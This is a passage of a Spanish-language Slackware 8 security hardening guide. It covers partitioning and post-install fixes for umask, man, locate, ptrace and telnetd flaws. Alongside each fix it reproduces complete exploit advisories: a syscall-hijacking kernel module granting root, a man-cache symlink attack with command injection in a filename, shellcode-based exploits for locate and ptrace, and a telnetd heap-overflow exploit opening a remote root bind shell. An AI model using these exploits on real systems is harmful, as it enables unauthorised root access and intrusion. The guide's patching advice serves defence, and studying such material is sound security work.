  por tanto no hay peligro de que se "llenen" si dejamos suficiente espacio
  para la raiz cuando particionamos, ya que raramente van a aumentar su
  tama~o una vez instalado el sistema.

  El directorio /mnt o el /cdrom suelen estar vacios, ya que se usan como
  punto de montaje para otros dispositivos, por lo tanto no hace falta
  tampoco separarlos de la raiz.

  En el directoio /boot almacenamos los kernels binarios que recompilamos,
  que generalmente no ocupan mas de 600k. El /boot puede estar en la raiz o
  puede estar en una particion separada, aunque como los usuarios no tienen
  acceso de escritura en el lo podemos dejar tranquilamente en la raiz.

  El resto de directorios los podemos separar en particiones. Hay que tener
  en cuenta que solo podemos hacer 4 particiones primarias, y si queremos
  hacer mas tendremos que crear una particion extendida y hacer particiones
  logicas dentro de esa partcion.

  En el directorio /home se guardan los HOMEs de los usuarios, o la raiz del
  servidor ftp (/home/ftp/) y suele ser el que mas crece de todos, por ello
  deberemos montarlo sobre una particion bastante grande en funcion del
  espacio que dispongamos en nuestro disco duro.

  El directorio /usr es un caso un poco especial, sobre el se instalan la
  mayoria de programas y aplicaciones que instalamos en forma de paquete, y
  contiene el directorio /usr/local en el que se instalan los programas que
  compilamos en la maquina local, por tanto es bueno crear una particion
  para /usr y otra para /usr/local, aunque lo podemos dejar todo en una si
  no queremos hacer tantas particiones. En principio no es peligroso ya que
  los usuarios no tienen acceso de escritura sobre el ni ninguno de sus
  subdirectorios.

  El directorio /opt se reserva para software 'opcional', en Slackware se
  instalan las series de paquetes de KDE y GNOME sobre este directorio, y
  tambien es posible que nos encontremos con alguna otra aplicacion que se
  instale ahi y no forme parte de Slackware (por ejemplo StarOffice o JDK de
  IBM). Podemos hacerle una particion a parte o por ejemplo usar la misma que
  hemos hecho para el /usr linkando el /opt a /usr/opt.

  El directorio /var es un directorio que puede variar muy facilmente de
  tama~o. El mail de los usuarios esta almacenado ahi, tambien los logs del
  sistema o la cola de impresion, por tanto debemos dejar tambien una
  cantidad de espacio considerable a la particion que dediquemos a /var. Hay
  que ir con cuidado por que se podria llenar rapidamente ya que los usuarios
  pueden escribir en el de forma directa (/var/tmp) o incluso llegar a
  llenarlo sin tener acceso shell a la maquina (correo, logs, etc...).

  El directorio /tmp debe estar tambien en una particion separada, ya que
  cualquier usuario puede llenarlo facilmente al tener permisos de escritura
  sobre el.

  Y por ultimo, el directorio /root por que es conveniente montarlo en una
  particion separda? Imaginemos (*dios no lo quiera*) que alguien consigue
  ilegalmente acceso de root a la maquina. Si solo montamos la particion de
  /root cuando el root entra en el sistema y la desmontamos cuando el root
  sale, el atacante se encontrara el directorio del root vacio y no le dara
  mas importancia. Evidentemente si es root podra montarlo, pero antes se le
  tiene que ocurrir que el directorio no esta montado. Si ponemos la
  particion de root la ultima, es dificil que el atacante se de cuenta si no
  hace un fdisk.

  Para ver un poco mas claro, pongo como ejemplo la forma en que tengo
  montadas las particiones en mi maquina:

pau@s0:/$ df -h
Filesystem            Size  Used Avail Use% Mounted on
/dev/hda1             191M   74M  117M  39% /
/dev/hda2             2.8G  796M  2.0G  28% /usr
/dev/hda4              31G   20G   11G  63% /home
/dev/hda5             2.8G  519M  2.2G  19% /var
/dev/hda7             289M   40M  249M  14% /tmp
/dev/hda8             289M  148M  141M  51% /root

pau@s0:/$ cat /etc/fstab
/dev/hda6       swap      swap          defaults            0   0
/dev/hda1       /         reiserfs      defaults            1   1
/dev/hda2       /usr      reiserfs      defaults            1   1
/dev/hda4       /home     reiserfs      defaults,usrquota   1   1
/dev/hda5       /var      reiserfs      defaults,usrquota   1   1
/dev/hda7       /tmp      reiserfs      defaults,usrquota   1   1
noe             /dev/pts  devpts        gid=5,mode=620      0   0
none            /proc     proc          defaults            0   0
pau@s0:/$


  Fijate que las particiones en las que los usuarios pueden escribir tienen
  el parametro 'usrquota' en el fstab, asi puedo asignar una quota maxima de
  espacio en cada particion para cada usuario evitando que la particion se
  llene.

  Otra cosa a tener en cuenta es que la particion del root (/dev/hda8) no
  aparece en el fstab, ya que solo la monto cuando me logueo como root.



  3.- Correcciones post-instalacion
  =================================

  Hay varios problemas de seguridad en la instalacion por defecto de
  Slackware 8 'out of the box' como se suele decir. Ahora paso a nombrar los
  fallos conocidos hasta el momento de escribir este documento y la forma de
  solucionarlos.


  3.1.- Problema con la umask por defecto en kernels < 2.4.6
  -----------------------------------------------------------

  La umask es la mascara de permisos para la creacion de ficheros. Con el
  comando umask podemos variar los permisos con los que por defecto se
  crearan los nuevos ficheros.

  Slackware 8 viene con la posibilidad de instalar sobre 2.2.19 o 2.4.5, si
  instalamos 2.2.19 no estaremos afectados, pero si instalamos 2.4.5 si.

  El problema aparece en los kernels inferiores a 2.4.6 donde no esta
  establecido el valor de la umask por defecto y se toma como valor 0000.

  Como en los scripts de arranque no se setea la umask se asume la que pone
  el kernel por lo que los ficheros creados A PARTIR DEL PRIMER ARRANQUE
  tienen permisos 777 (lectura, escritura y ejecucion para todo el mundo).

  Si ya tienes instalada tu slackware comprueba los permisos de los ficheros
  que se crean despues del arranque:

# find / -type f -perm 777 2>/dev/null

  Veras que tienes mal los permisos de ficheros creados dentro de /var/run o
  el /etc/random-seed, etc...

  Para solucionar el problema hay que linkar el /sbin/initscript-sample a
  /sbin/initscript o setear la umask en el /etc/rc.d/rc.S.


 Submitted by  : Josh (josh@pulltheplug.com), lockdown
                (lockdown@lockeddown.net) on July 16th, 2001
 Vulnerability : /lib/modules/2.4.5/modules.dep
 Tested On     : Slackware 8.0. 2.4.5
 Local         : Yes
 Remote        : No
 Temporary Fix : umask 022 at the top of all your startup scripts
 Target        : root
 Big thanks to : slider, lamagra, zen-parse
 Greets to     : alpha, fr3n3tic, omega, eazyass, remmy, RedPen, banned-it,
                 cryptix, s0ttle, xphantom, qtip, tirancy, Loki,
                 falcon-networks.com.
 
 The 2.4.x kernels starting with 2.4.3 (i think) have, after
 load, left a umask of 0000.  This forces any files created in the bootup
 scripts, without the command `umask 022` issued to be world writeable.
 In slackware, files include /var/run/utmp and /var/run/gpm.pid.  This same
 vulnerability is responsible for creating /lib/modules/`uname -r`/modules.dep
 world writeable.  With this file world writeable, all an intruder need do is
 put something like the following in /lib/modules/`uname -r`/modules.dep
 assuming the system's startup scripts modprobe lp:

 /lib/modules/2.4.5/kernel/drivers/char/lp.o:  /tmp/alarm.o

 /tmp/alarm.o:

 where the alarm.o module is:

[++] c0de/alarm.c

#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/types.h>
#include <asm/segment.h>
#include <asm/unistd.h>
#include <linux/dirent.h>
#include <sys/syscall.h>
#include <sys/sysmacros.h>

#include <linux/sched.h>

#include <linux/errno.h>
#include <linux/fs.h>
#include <linux/kernel.h>

extern void* sys_call_table[];

unsigned int (*old_alarm) (unsigned int seconds);
unsigned int hacked_alarm (unsigned int seconds);

unsigned int hacked_alarm(unsigned int seconds)
{
           if(seconds == 454) {
                current->uid = 0;
                current->euid = 0;
                current->gid = 0;
                current->egid = 0;
                return 0;
            }
   return old_alarm(seconds);
}

int init_module(void) {
 old_alarm=sys_call_table[SYS_alarm];
 sys_call_table[SYS_alarm] = hacked_alarm;
 return 0;
}

[--]


 Client:

[++] c0de/uclient.c

#include <stdio.h>
#include <unistd.h>

int main(void)
{
  alarm(454);
  execl("/bin/sh", "sh", NULL);
}

[--]

which will, when the module is loaded, execute a shell as root.


And of course with /var/run/utmp writeable, users can delete or in
other ways manipulate their logins as they appear in
w/who/finger/getlogin(), etc.




  3.1.2.- Problema de permisos en mods245.tgz
  -------------------------------------------

  Debido al bug de la umask, el paquete mods245.tgz de la serie a1 en
  Slackware 8 que contiene los modulos del kernel 2.4.5 tiene varios
  ficheros con permisos de escritura para todo el mundo.

  Para solucionarlo basta con ejecutar el siguiente comando:

# chmod 644 /lib/modules/2.4.5/modules.*


  3.2- Vulnerabilidad en 'man' de Slackware
  -----------------------------------------

  Slackware 8.0 tienen los permisos de /var/man/cat* puestos a 1777, esto
  permite a un usuario local crear ficheros en el directorio usado para el
  cache de las paginas man formateadas. Es posible que un usuario cree un
  fichero de cache que contenga codigo malicioso causando la ejecucion de
  codigo arbitrario cuando otro usuario (o el root!) vea la pagina man
  correspondiente al fichero de cache.

  Los directorios /var/man/cat* se utilizan para guardar una copia de las
  paginas man correctamente formateadas una vez se ha visualizado por
  primera vez, asi si se vuelve a hacer un man del mismo comando no habra
  que formatearlas de nuevo.

  Esto tenia sentido hace a~os, cuando formatear una pagina man en un 386
  tardaba un minuto, pero con los procesadores que utilizamos ahora se puede
  omitir la cache de las paginas man formateadas.

  Para solucionar el problema basta con cambiar los permisos de los
  directorios /var/man/cat* para que los usuarios no puedan escribir en el
  directorio de la cache.

  Exploit incluido:


Submitted by  : Josh (josh@pulltheplug.com), lockdown (lockdown@lockeddown.net)
                zen-parse (zen-parse@gmx.net)
Vulnerability : /usr/bin/man
Tested On     : Slackware 8.0 and before.
Local         : Yes
Remote        : No
Temporary Fix : chmod 700 /var/man/cat*
Target        : root or any other user that uses man
Greets to     : alpha, fr3n3tic, omega, eazyass, remmy, RedPen, banned-it,
                slider, cryptix, s0ttle, xphantom, qtip, Sultrix, Defiance,
                Insane, rusko, falcon-networks.com.
See also      : http://www.securityfocus.com/vdb/?id=2815



Slackware 8.0 and previous issues of Slackware are released with
/var/man/cat*/ chmod 1777:

drwxrwxrwt 2 root root 4096 Jul 11 11:03 cat*/

Since these directories are world writeable we can create symlinks there
like so:

`ln -s "/usr/man/man7/man.7.gz;cd;cd ..;cd ..;cd ..;cd ..;cd tmp;export PATH=.
;script;man.7"
/var/man/cat7/man.7.gz`

When `/usr/bin/man man` is executed by root, it will create
/var/man/cat7/man.1.gz.  The symlink forces it to create a file in
/usr/man/man7 named:
"/usr/man/man7/man.7.gz;cd;cd ..;cd ..;cd ..;cd ..;cd tmp;exportPATH=.;
script;man.7.gz."

/usr/bin/man will then execute /tmp/script which contains:

[++] c0de/script.c

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <errno.h>

int main()
{
  FILE *fil;
  mode_t perm = 06711;

  if(!getuid()) {
    fil = fopen("/tmp/bleh.c","w");
    fprintf(fil,"%s\n","#include <unistd.h>");
    fprintf(fil,"%s\n","#include <stdio.h>");
    fprintf(fil,"%s\n","int main() {");
    fprintf(fil,"%s\n","setreuid(0,0);setregid(0,0);");
    fprintf(fil,"%s\n","execl(\"/bin/su\",\"su\",NULL);");
    fprintf(fil,"%s\n","return 0; }");
    fclose(fil);
    system("/usr/bin/gcc -o /tmp/bleh /tmp/bleh.c");
    unlink("/tmp/bleh.c");
    chmod("/tmp/bleh", perm);
  }
   execl("/usr/bin/man","man","/usr/man/man7/man.7.gz",NULL);
   return 0;
}

[--]


With the above code compiled in /tmp/script, if root were to run `man man`, a
suid shell would be left in /tmp/bleh.

--- cut here ---



  3.3.- Vulnerabilidad en GNU locate
  ----------------------------------

  Una vulnerabilidad en GNU locate permite a un atacante forzar la ejecucion
  de codigo arbitrario cuando un usuario utilice el comando locate, incluido
  en el paquete findutils.tgz de Slackware 8.

  Para solucionar el problema instalar slocate y eliminar el crontab del
  usuario nobody.

  Ver: http://www.geekreview.org/slocate


  Exploit incluido:

--- cut here ---

Submitted by  : Josh (josh@viper.falcon-networks.com), lockdown
                (lockdown@lockeddown.net), zen-parse (zen-parse@gmx.net)
Vulnerability : /usr/bin/locate (findutils-4.1 and before)
Tested On     : Slackware 8.0, Slackware 7.1
Local         : Yes
Remote        : No
Fix           : Update to slocate
Target        : root or any other user that runs locate
Requires      : UID nobody
Greets to     : alpha, fr3n3tic, omega, eazyass, Remmy, RedPen, banned-it,
                slider, cryptix, s0ttle, xphantom, qtip, tirancy,
                Defiance, KraZee, synexic, Insane, rusko,
                falcon-networks.com, mp3.com/cosv.
Other Stuff   : We all (individually) need jobs.  E-mail the contact
                people with [WE HAVE A JOB FOR YOU] in the subject.

In slackware, and possibly other distributions, it is possible to
modify the locate database if one were to obtain UID nobody.  This allows
locate to act as a sort of 'trojan' having anyone who executes it
unknowingly execute potentially malicious code.

It works by taking advantage of the fact locate accepts old
format databases. LOCATEDB_OLD_ESCAPE (char 30) is followed by an offset,
stored in a signed integer, for how many characters to add to the current
character pointer in the path. It doesn't perform any sanity checking of
the input. This exploit tells it to move the pointer back a long way,
back past the beginning of the string, all the way to the GOT address for
exit() which then gets the address of the shellcode added, and the
program then runs out of database and executes our code.
        There is also probably a similar vulnerability in the new format.

P.S. dies: If you see this e-mail josh@viper.falcon-networks.com


[++] c0de/slocale.c

#include <stdio.h>

char shellcode[] =
   "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"
   "\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80"
   "\xe8\xe3\xff\xff\xff/tmp/xx";
char putshell[] =
   "\x14\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c"
   "\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96";

int main(void)
{
   int i;
   int z0=0; int addr=0x0804a970;
   int z1=0; int addr2=-626;
   int z2=0; int addr3=addr+6;
   printf("%s", &addr);
   printf("%s", &addr3);
   printf("%s",shellcode);
   fflush(stdout);
   for(i=46;i<256;i++) putchar('A');
   printf("%s", putshell);
   fflush(stdout);
   putchar(0);
   putchar(30);
   printf("%s", &addr2);
   printf("\x82\x83");
   fflush(stdout);
}


[--]

--- cut here ---


  3.4.- Vulnerabilidad en Linux Ptrace/Setuid Exec
  ------------------------------------------------

  Rafal Wojtczuk encontro dos vulnerabilidades presentes en versiones
  anteriores a la 2.2.19 (incluida) y 2.4.9 (incluida) mediante las cuales
  es posible obtener privilegios de root.

  Slackware 8 viene con kernel 2.2.19 y kernel 2.4.5 que son vulnerables a
  este fallo.

  Para solucionar el problema basta con actualizar el kernel a la version
  2.2.20 o 2.4.12.

  Exploit incluido:

--- cut here (ptrace-exp.c) ---

[++] c0de/ptrace-exp.c

/* by Nergal */
#include <stdio.h>
#include <sys/ptrace.h>
#include <fcntl.h>
#include <sys/ioctl.h>
void ex_passwd(int fd)
{
	char z;
	if (read(fd, &z, 1) <= 0) {
		perror("read:");
		exit(1);
	}
	execl("/usr/bin/passwd", "passwd", 0);
	perror("execl");
	exit(1);
}
void insert(int pid)
{
	char buf[100];
	char *ptr = buf;
	sprintf(buf, "exec ./insert_shellcode %i\n", pid);
	while (*ptr && !ioctl(0, TIOCSTI, ptr++));
}


main(int argc, char **argv)
{
	int res, fifo;
	int status;
	int pid, n;
	int pipa[2];
	char buf[1024];
	pipe(pipa);
	switch (pid = fork()) {
	case -1:
		perror("fork");
		exit(1);
	case 0:
		close(pipa[1]);
		ex_passwd(pipa[0]);
	default:;
	}


	res = ptrace(PTRACE_ATTACH, pid, 0, 0);
	if (res) {
		perror("attach");
		exit(1);
	}
	res = waitpid(-1, &status, 0);
	if (res == -1) {
		perror("waitpid");
		exit(1);
	}
	res = ptrace(PTRACE_CONT, pid, 0, 0);
	if (res) {
		perror("cont");
		exit(1);
	}
	fprintf(stderr, "attached\n");
	switch (fork()) {
	case -1:
		perror("fork");
		exit(1);
	case 0:
		close(pipa[1]);
		sleep(1);
		insert(pid);
		do {
			n = read(pipa[0], buf, sizeof(buf));
		} while (n > 0);
		if (n < 0)
			perror("read");
		exit(0);
	default:;
	}
	close(pipa[0]);

	dup2(pipa[1], 2);
	close(pipa[1]);
	/* Decrystallizing reason */
	setenv("LD_DEBUG", "libs", 1);
	/* With strength I burn */ 
	execl("/usr/bin/newgrp", "newgrp", 0);
}
[--]

--- cut here ---

--- cut here (insert_shellcode.c) ---

[++] c0de/insert_shellcode.c

/* by Nergal */
#include <stdio.h>
#include <sys/ptrace.h>
struct user_regs_struct {
	long ebx, ecx, edx, esi, edi, ebp, eax;
	unsigned short ds, __ds, es, __es;
	unsigned short fs, __fs, gs, __gs;
	long orig_eax, eip;
	unsigned short cs, __cs;
	long eflags, esp;
	unsigned short ss, __ss;
};
/* spiritual black dimension */

char hellcode[] =
    "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

#define ADDR 0x00125000
main(int argc, char **argv)
{
	int status;
	int i, wpid, pid = atoi(argv[1]);
	struct user_regs_struct regs;
	if (ptrace(PTRACE_GETREGS, pid, 0, &regs)) {
		perror("PTRACE_GETREGS");
		exit(0);
	}
	regs.eip = ADDR;
	if (ptrace(PTRACE_SETREGS, pid, 0, &regs))
		exit(0);
	for (i = 0; i <= strlen(hellcode) + 5; i += 4)
		ptrace(PTRACE_POKETEXT, pid, ADDR + i,
		    *(unsigned int *) (hellcode + i));
	//  kill (pid, SIGSTOP);
	if (ptrace(PTRACE_DETACH, pid, 0, 0))
		exit(0);
	close(2);
	do {
		wpid = waitpid(-1, &status, 0);
		if (wpid == -1) {
			perror("waitpid");
			exit(1);
		}
	} while (wpid != pid);
}

[--]

--- cut here ---

  Para explotar la vulnerabilidad del kernel se necesita un binario setuid
  root que ejecute un binario definido por el usuario (o una shell). El
  exploit utiliza /usr/bin/newgrp que funciona en la mayoria de
  distribuciones, pero en Slackware los campos de passwords de /etc/group
  estan vacios y newgrp pide un password.

  Para explotar la vulnerabilidad en Slackware se puede usar el comando 'su',
  ya que esta compilado sin soporte PAM y ejecuta una shell de usuario.


  3.5.- Vulnerabilidad en netkit-0.17 telnetd daemon
  --------------------------------------------------

  El demonio de telnet netkit-0.17 que usa Slackware contiene un
  desbordamiento de buffer que puede ser explotado de forma remota para
  conseguir acceso de root.

  Estan disponibles los paquetes actualizados para Slackware 8.0 y 7.1 en:

  ftp.slackware.com/pub/slackware/slackware-8.0/patches/packages/tcpip1.tgz
  ftp.slackware.com/pub/slackware/slackware-8.0/patches/patches/telnetd.tgz
  ftp.slackware.com/pub/slackware/slackware-7.1/patches/packages/tcpip1.tgz
  ftp.slackware.com/pub/slackware/slackware-7.1/patches/packages/telnetd.tgz

  Exploit incluido:

--- cut here (zp-exp-telnetd.c) ---

[++] c0de/zp-exp-telnetd.c

#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <fcntl.h>

/*********************************************************************
       Proof of concept netkit-0.17-7 local root exploit.

 Exploits buffer overflow in the AYT handling of in.telnetd,
 due to bad logic in the handling of snprintf(), and

      TESO advisory details were enough to allow me to put
        controlable addresses in arbitary heap locations.

    Heap based exploit. Overflow allows rewriting of some heap
     data, which allowed me to put a new heap structure in the
          input buffer, which let me do whatever I want.

'traceroute exploit story -  By Dvorak, Synnergy Networks' was very
 helpful. Also malloc.c was good.

*********************************************************************/
/*
                         Notes about exploit

1) RedHat 7.0, exploiting localhost
2) hostname is clarity.local
3) It probably won't work without at least a different setting for
   the --size option, and probably the --name option as well. The
   --name arguemnt  is the hostname part of the string that gets
   returned by the AYT command, which may be different to the name
   of the address you are connecting to..
4) There are a lot of things that use the heap, making the size
   depend on alot of factors.

5) You will might need to change some (or all) of the offsets.
   This program does allow you to brute force, if the hostname returned
   by the AYT command is not a multiple of 3 letters long.

 It is also possibly (at least according to some quick testing I did)
 exploitable on some (all?) servers with names that are multiples of three
 letters long, using the Abort Output command to add 2 characters to the
 output length, and exploit the heap in a similar manner to this method.

 (You can only directly put user controlable characters in 2 out of 3
 locations (ie: no AO will give you a multiple of 3 bytes on the heap, AO
 will give you 2 more than a multiple of 3 bytes) with controllable
 characters, but when you count the null added by the netoprintf(), and use
 0 as an option to a do or will, you can sometimes create valid chunks that
 point to locations you can control. I have only tested this method with a
 simulation, but it seems it would probably work with the telnetd as well.
 I will look into it when I have time. Maybe.)


                       .  .  _  _   _  _ .  .     _  _  _ .  .
 |_  _|_ _|_  _ .  / / |\/| |_| _| |  | ||\/|  / |  | ||_ |  |
 | |  |   |  |_|. / /  |  | |   _|.|_ |_||  | /  |_ |_| _| \/
             |
 *********************************************************************/



#define SERVER_PORT 23
#define ENV 18628

int offset12[] = {
// netibuf[343]->the chunk start.
  -4, 0xaa,
  -5, 0xbb,
  -6, 0xcc,
  -7, 0x10,
  -9, 0xdd,
  -10, 0x68,
  -12, 0xee,
  -13, 0x88,
  -14, 0x99,
  0, 0x00
};

int offset3[]={
-1,0x00,
0,0
};

int *offsets=offset12;


int dalen = 0;
int big;
int small;
int mipl = 0;
int ninbufoffset;
char spinchars[] = "/|\\-";

char tosend[] = {
  0xff, 0xfd, 0x03, 0xff, 0xfb, 0x18, 0xff, 0xfb, 0x1f, 0xff, 0xfb, 0x20,
  0xff, 0xfb, 0x21, 0xff, 0xfb, 0x22, 0xff, 0xfb, 0x27, 0xff, 0xfd, 0x05,
  0xff, 0xfb, 0x23, 0
};

char lamagra_bind_code[] =
// the NOPs are my part... to jump over the modified places,
// without me having to take a look to see where they are.
// Modified to listen on 7465 == TAGS and work thru TELNET protocol.
  "\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90"
  "\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90"
  "\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90"
  "\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90"
  "\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90"
  "\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
  "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
  "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x1d\x29\x89\x4d\xf0"
  "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
  "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
  "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
  "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
  "\x8d\x55\x0c\xcd\x80\xe8\xe3"
  "\xff\xff\xff\xff\xff\xff/bin/sh";

char *shellcode = lamagra_bind_code;

int sock;                       /* fd for socket connection */
FILE *dasock;                   /* for doing fprint et al   */
struct sockaddr_in server;      /* the server end of the socket  */
struct hostent *hp;             /* Return value from gethostbyname() */
char buf[40960];                /* Received data buffer */
char sock_buf[64 * 1024];       /* Received data buffer */

char daenv[10000];
char oldenv[10000];

extern int errno;
read_sock ()
{
  /* Prepare our buffer for a read and then read. */
  bzero (buf, sizeof (buf));
  if (read (sock, buf, sizeof (buf)) < 0)
    if (errno != 11)
      {
        perror ("! Socket read");
        exit (1);
      }
}

sock_setup ()
{
  int flags;
  int yes = 1;
  if ((sock = socket (AF_INET, SOCK_STREAM, 0)) < 0)
    {
      perror ("! Error making the socket\n");
      exit (1);
    }
  bzero ((char *) &server, sizeof (server));
  server.sin_family = AF_INET;
  if ((hp = gethostbyname ("localhost")) == NULL)
    {
      fprintf (stderr, "! localhost unknown??\n");
      exit (1);
    }
  bcopy (hp->h_addr, &server.sin_addr, hp->h_length);
  server.sin_port = htons ((u_short) SERVER_PORT);

  /* Try to connect */
  if (connect (sock, (struct sockaddr *) &server, sizeof (server)) < 0)
    {
      perror ("! Error connecting\n");
      exit (1);
    }

  dasock = (FILE *) fdopen (sock, "w+");
  if (!dasock)
    {
      perror ("! Bad fdopen happened");
      exit (1);
    }

/****************************************
 Thanks to xphantom for the next 4 lines.
 (which i don't need anymore   ;? )

  flags = fcntl(sock, F_GETFL, 0);
  flags |= O_NONBLOCK;
  fcntl(sock, F_SETFL, flags);
  if (setsockopt(sock, SOL_SOCKET, SO_OOBINLINE, &yes,sizeof(yes)) == -1) {
        perror("setsockopt");
        exit(1);
  }
*****************************************/


  setbuffer (dasock, sock_buf, 64 * 1024);

}

do_iac (char c)
{
  putc (0xff, dasock);
  putc (c, dasock);
}

do_ayt ()
{
  do_iac (0xf6); // sets buffer length to 2
}

doo (char c)
{
  putc (255, dasock);
  putc (253, dasock);
  putc (c, dasock);
}
will (char c)
{
  putc (255, dasock);
  putc (251, dasock);
  putc (c, dasock);
}
wont (char c)
{
  putc (255, dasock);
  putc (252, dasock);
  putc (c, dasock);
}

void
solve (int remain)
{
  int x, y;
  big = -100;
  small = -100;
  for (x = 0; x < 120; x++)
    for (y = 2; y < 80; y++)
      {
        if (((y * 3) + (x * dalen)) == remain)
          {
            big = x;
            small = y;
            return;
          }
      }
      fprintf (stderr, "I still can't work it out.\n\n");
      exit (1);
}

push_clean ()
{
  int l;
  for (l = 0; l < 8192; l++)
    putc (0, dasock);
}

push_heap_attack ()
{
  int l;
  int shaddr = 0x805c970;
  int overwrite = 0x08051e78;   // fopen
  int tosend[] = {
    0x805670eb,
    0x8,
    shaddr,
    shaddr,
    0x0,
    0x0,
    overwrite - 12,
    shaddr
  };
  fwrite (shellcode, strlen (shellcode), 1, dasock);
  for (l = strlen (shellcode); l < 289 + ninbufoffset; l++)
    putc (0, dasock);
  fwrite (tosend, 8, 4, dasock);
  fflush (dasock);
}

fill2 (int count, char with, int real)
{
  int l;
  int first, rest, find;

  first = (int) (count / dalen) - 10;
  rest = (int) (((count) % dalen) / 3) * 3;
  find = count - ((first * dalen) + (rest * 3));
  solve (find);
  first += big;
  rest += small;
  for (l = 0; l < first; l++)
    do_ayt ();
  for (l = 0; l < rest; l++)
    will (with);
  if (real == 1)
    {
      push_clean ();
    }
}

fill (int count, char with)
{
  fprintf (stderr, "  o Length %d char %d (%02x)\n",
           count, with & 0xff, with & 0xff);
  fflush (stderr);
  fill2 (8257, 'z', 0);         // first part
  fill2 (count - 8257, with, 1);        // do it for real
}

doenv (char *danam, char *daval)
{
  sprintf (daenv, "%c%c%c%c%c%s%c%s%c%c",
       /*  IAC   SB N-E IS VAR  name VAL value  IAC  SE  */
           255, 250, 39, 0, 0, danam, 1, daval, 255, 240);

  fwrite (daenv, 512, 1, dasock);
  fflush (dasock);
}

main (int argc, char *argv[])
{
  int br, l, dosleep = 0;
  int percent = 0;
  char spin;
  unsigned char w;
  bzero (oldenv, sizeof (oldenv));
  argv++;
  dalen = strlen ("clarity.local");
  while (argv[0])
    {
      if (!strcmp (argv[0], "--pause"))
        dosleep = 1;

      if (!strcmp (argv[0], "--size") && argv[1])
        {
          mipl = atoi (argv[1]);
          argv++;
        }

      if (!strcmp (argv[0], "--name") && argv[1])
        {
          dalen = strlen (argv[1]);
          argv++;
        }
      argv++;
    }
  fprintf (stderr, "  o MiPl of %4d  o NameLen of %2d\n", mipl, dalen);
  if(dalen%3==0)
  {
   offsets=offset3;
  }
  else
  {
   ninbufoffset = mipl % 8192;
   offsets[11] += 32 * (mipl - ninbufoffset) / 8192;
   if (offsets[11] > 255)
     {
       fprintf (stderr, "  ! MiPl too big.", mipl, dalen);
       exit (1);
     }
   }
  sock_setup ();
  if (dosleep)
    {
      system ("sleep 1;ps aux|grep in.telnetd|grep -v grep");
      sleep (8);
    }

  dalen += strlen ("\r\n[ : yes]\r\n");
  fprintf (stderr, "o Sending IAC WILL NEW-ENVIRONMENT...\n");
  fflush (stderr);
  doo (5);
  will (39);
  fflush (dasock);
  read_sock ();
  fprintf (stderr, "o Setting up environment vars...\n");
  fflush (stderr);
  will (1);
  push_clean ();
  doenv ("USER", "zen-parse");
  doenv ("TERM", "zen-parse");
  will (39);
  fflush (dasock);
  fprintf (stderr, "o Doing overflows...\n");
  fflush (stderr);
  for (br = 0; (offsets[br] || offsets[br + 1]); br += 2)
    {
      fill (mipl + ENV + offsets[br], offsets[br + 1]);
      fflush (dasock);
      usleep (100000);
      read_sock ();
    }
  fprintf (stderr, "o Overflows done...\n");
  fflush (stderr);
  push_clean ();

  fprintf (stderr, "o Sending IACs to start login process...\n");
  fflush (stderr);
  wont (24);
  wont (32);
  wont (35);
  fprintf (dasock, "%s", tosend);
  will (1);
  push_heap_attack ();
  sleep (1);
  fprintf (stderr, "o Attempting to lauch netcat to localhost rootshell\n");
  execlp ("nc", "nc", "-v", "localhost", "7465", 0);
  fprintf (stderr,
           "o If the exploit worked, there should be an open port on 7465.\n");
  fprintf (stderr, "  It is a root shell. You should probably close it.\n");
  fflush (stderr);
  sleep (60);
  exit (0);
}
/********************************************************************

 Thanks to xphantom for the help with getting the some of the socket
 stuff working properly. Erm. I didn't end up using that method, but
                         thanks anyway. ;]

This code is Copyright (c) 2001 zen-parse
Use and distribution is unlimited, provided the code is not modified.
If the code, including any of text is modified, that version may not
be redistrubuted.

********************************************************************/
/* ObPlug 4 My Band: gone platinum, Chapel of Stilled voices, from */
/********************************************************************
            Remember to visit Chapel of Stilled Voices:
                                 _                 _     _ .  .
   |_  _|_ _|_  _ .  / /.  .  _  _|  _  _ .  .  / |   _ |_ |  |
   | |  |   |  |_|. / / |\/| |_| _|.|_ |_||\/| /  |_ |_| _| \/
